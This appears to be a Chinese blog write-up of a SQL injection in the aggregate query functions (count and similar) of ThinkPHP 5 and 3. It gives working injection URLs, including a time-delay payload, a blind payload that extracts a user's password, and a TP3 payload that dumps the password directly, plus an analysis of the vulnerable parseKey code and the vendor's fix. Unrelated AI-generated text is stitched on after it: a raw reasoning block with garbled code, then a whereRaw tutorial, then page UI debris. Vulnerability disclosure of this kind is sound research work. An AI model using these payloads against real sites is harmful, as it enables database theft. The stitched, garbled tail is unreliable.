Thinkphp 聚合查询漏洞

本文深入分析了ThinkPHP5和ThinkPHP3框架中聚合查询函数的SQL注入漏洞,详细展示了漏洞复现步骤及官方修复措施,强调了预编译阶段的安全隐患。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

一个比较水的漏洞,不介意的师傅将就看看。本来是抱着试一下的心态提交的,但是官方给了确认还及时修补了,国产良心。

感觉唯一的亮点就是TP5中为数不多能够获取到数据的注入。

说是漏洞,更恰当一点应该是安全隐患吧,由于是框架洞,总要结合一些开发人员不够专业的代码才能产生漏洞。

这个聚合查询的漏洞主要影响的版本有

  • Thinkphp5 < 5.1.25
  • Thinkphp3 < 3.2.4

影响的函数涉及到所有的聚合查询函数

而且,有一点就是,可以看到在TP5中涉及到SQL查询的地方,几乎都用了预编译

而且由于PDO::ATTR_EMULATE_PREPARES设置的原因,导致模拟预处理关闭,从而在预编译阶段无法从数据库中获取数据,从而报错退出。从之前爆出的几个TP5漏洞中就能看到,这样一个很大的弊端就是即使注入存在,也无法从数据库中获取到数据。

但是这个漏洞在预编译阶段没有使用占位符,从而不会在预编译阶段报错,从而可以顺利通过注入获取到数据

ThinkPHP5 < 5.1.25

漏洞复现

这里创建了一个这样的user

数据库配置请自行配置,然后打开debugtrace模式(方便查看SQL语句

demo样例

public function index()
{
    $count = input('get.count');
    $res = db('user')->count($count);
    var_dump($res);
}

当访问

http://localhost/tp5.1.25/public/?count=id

就能看到返回了数量3

当输入

http://localhost/tp5.1.25/public/?count=id`),(select sleep(5)),(`username

就能看到有明显的五秒的延时

里面改成可以任意的SQL语句,例如通过盲注获取password

http://localhost/tp5.1.25/public/?count=id`),(if(ascii(substr((select password from user where id=1),1,1))>130,0,sleep(3))),(`username

漏洞分析

跟进到count函数中thinkphp/library/think/db/Query.php:643

跟进$count = $this->aggregate('COUNT', $field); thinkphp/library/think/db/Query.php:619

这里又调用了$this->connection->aggregate

注意此时的$field字段还是一开始传入的字符,没有任何变化

然后跟进到thinkphp/library/think/db/Connection.php:1316

可以看到这里的经过第一句之后$field被组合成了count语句,跟到parseKey的函数定义中就能看到具体处理过程

public function parseKey(Query $query, $key, $strict = false)
{
    ...
    $key = trim($key);

    if (strpos($key, '->') && false === strpos($key, '(')) {
        ...
    } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
        ...
    }

    if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
        $key = '`' . $key . '`';
    }
    ...

    return $key;
}

省略了很多无关的处理函数,可以看到就是简单的通过反引号的字符串相连

$key = '`' . $key . '`';

继续回来到aggregare中,跟进$this->value,这就是真正执行这条SQL语句的地方

thinkphp/library/think/db/Connection.php:1252

可以看到通过 $this->builder->select($query);将之前传入的参数直接拼接到了sql语句中

最后形成$sql

SELECT COUNT(`id`),(select sleep(5)),(`username`) AS tp_count FROM `user` LIMIT 1

$query->getBind()的时候是没有需要绑定的参数的,也就避免了后面预编译阶段的报错

最后$pdo = $this->query($sql, $bind, $options['master'], true);执行了SQL语句,产生注入

全局搜索->aggregate的调用,发现所有的聚合函数都是调用了这个模块,同理也就产生了SQL注入

ThinkPHP3 < 3.2.4

漏洞复现

数据库配置和TP5中一致,也要打开debugtrace信息

demo样例

public function index()
{
    $count = I('get.count');
    $m = M('user')->count($count);
    dump($m);
}

这里的payload和TP5中的有一点点的不一样,不过也差不多

http://localhost/tp3.2.4/?count=id),(select password from user where id=1),(username

可以看到直接注入出了数据

漏洞分析

没啥好分析的了,和TP5类似,就是少了一个反引号的差别

漏洞修复

官方很机智的在parseKey中加入了正则校验,不符合这个校验就会抛出异常

 

 

<think>我们正在讨论ThinkPHP框架中whereRaw方法的使用。根据引用[1]和引用[2],我们可以知道whereRaw用于执行原生的SQL条件片段,并且可以与其他查询条件组合(如AND)。同时,引用[3]提到了聚合函数的使用,但与我们当前问题关系不大。引用[4]虽然讨论的是Laravel框架,但思路类似,即使用原生表达式。用户需求:在ThinkPHP框架中使用whereRaw实现自定义查询条件。步骤:1.whereRaw方法允许我们直接写入SQL条件字符串,它会被当作一个条件片段插入到整个查询条件中。2.注意:使用whereRaw时需要避免SQL注入,确保传入的条件字符串是安全的。3.示例:在查询中,我们可能需要使用一些原生的SQL函数或复杂的条件,这时whereRaw就非常有用。示例代码:假设我们有一个`book`表,我们想查询书名以"thinkphp"结尾且状态为1的书籍。```php//使用whereRaw进行自定义条件查询$book=Db::table('book')->whereRaw('namelike"%thinkphp"ANDstatus=1')->find();```另一个示例:假设我们需要查询价格大于100且折扣小于8折的书籍,并且要求出版日期在2020年之后。我们可以这样写:```php$books=Db::table('book')->whereRaw('price>100ANDdiscount<0.8ANDpublish_date>"2020-01-01"')->select();```如果查询条件需要动态构建,我们可以使用参数绑定来防止SQL注入:```php$keyword='thinkphp';$status=1;$book=Db::table('book')->whereRaw('namelike?ANDstatus=?',["%{$keyword}",$status])->find();```在参数绑定中,使用`?`作为占位符,然后传入一个数组,数组中的元素按顺序替换占位符。注意事项:-使用whereRaw时,如果条件片段中包含用户输入,务必使用参数绑定,以避免SQL注入漏洞。-whereRaw的条件片段会直接拼接到SQL语句中,所以确保条件片段的正确性。相关问题:1.ThinkPHP中,whereRaw和where方法有什么区别?2.如何防止在使用whereRaw时的SQL注入问题?3.ThinkPHP中除了whereRaw,还有哪些方法可以执行原生SQL?4.在复杂的查询中,如何组合使用whereRaw和其他的查询构造器方法?</think>### ThinkPHP whereRaw 使用方法详解 在ThinkPHP框架中,`whereRaw()` 方法用于执行自定义SQL条件片段,特别适合处理复杂查询条件或需要原生SQL表达式的场景。以下是详细使用方法和示例: #### 基础语法 ```php Db::table('表名')->whereRaw('原生SQL条件表达式')->操作(); ``` #### 核心特性 1. **直接嵌入SQL** 允许在查询中直接使用数据库函数、复杂条件表达式等 ```php // 示例:使用MySQL的DATE_FORMAT函数 Db::table('orders') ->whereRaw("DATE_FORMAT(create_time, '%Y-%m') = '2023-08'") ->select(); ``` 2. **支持参数绑定(防SQL注入)** 通过占位符安全传递外部变量: ```php $status = 1; $minPrice = 100; Db::table('products') ->whereRaw('status = ? AND price > ?', [$status, $minPrice]) ->select(); ``` 3. **组合复杂逻辑** 可自由组合 AND/OR 等逻辑操作符: ```php // 引用[1]示例的增强版 Db::table('book') ->whereRaw('(name LIKE "%thinkphp%" OR title LIKE "%框架%") AND status=1') ->find(); ``` #### 典型应用场景 1. **多条件混合查询** ```php // 同时包含原生条件和链式条件 Db::table('users') ->where('age', '>', 18) ->whereRaw('(credit_score > 80 OR vip_level >= 3)') ->select(); ``` 2. **使用数据库函数** ```php // 计算距离(MySQL示例) $lat = 39.9; $lng = 116.4; Db::table('stores') ->whereRaw( 'ST_Distance(location, POINT(?, ?)) < 5000', [$lng, $lat] )->select(); ``` 3. **子查询条件** ```php // 选择超过平均价格的商品 Db::table('products') ->whereRaw('price > (SELECT AVG(price) FROM products)') ->select(); ``` #### 注意事项 1. **安全警告** 永远不要直接拼接用户输入: ```php // ❌ 危险做法(SQL注入风险) $input = $_GET['keyword']; ->whereRaw("name = '$input'"); // ✅ 正确做法(参数绑定) ->whereRaw('name = ?', [$input]); ``` 2. **跨数据库兼容** 不同数据库的函数语法差异需自行处理: ```php // MySQL: DATE_FORMAT() / SQLite: STRFTIME() ``` 3. **性能影响** 复杂表达式可能影响索引使用,建议配合`explain`分析查询。 #### 完整示例 ```php // 查询价格在100-500元之间且名称包含"ThinkPHP"的书籍 $minPrice = 100; $maxPrice = 500; $keyword = 'ThinkPHP'; $books = Db::table('book') ->whereRaw( 'price BETWEEN ? AND ? AND name LIKE ?', [$minPrice, $maxPrice, "%{$keyword}%"] ) ->order('publish_date', 'DESC') // 引用[2]排序方法 ->select(); ``` ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值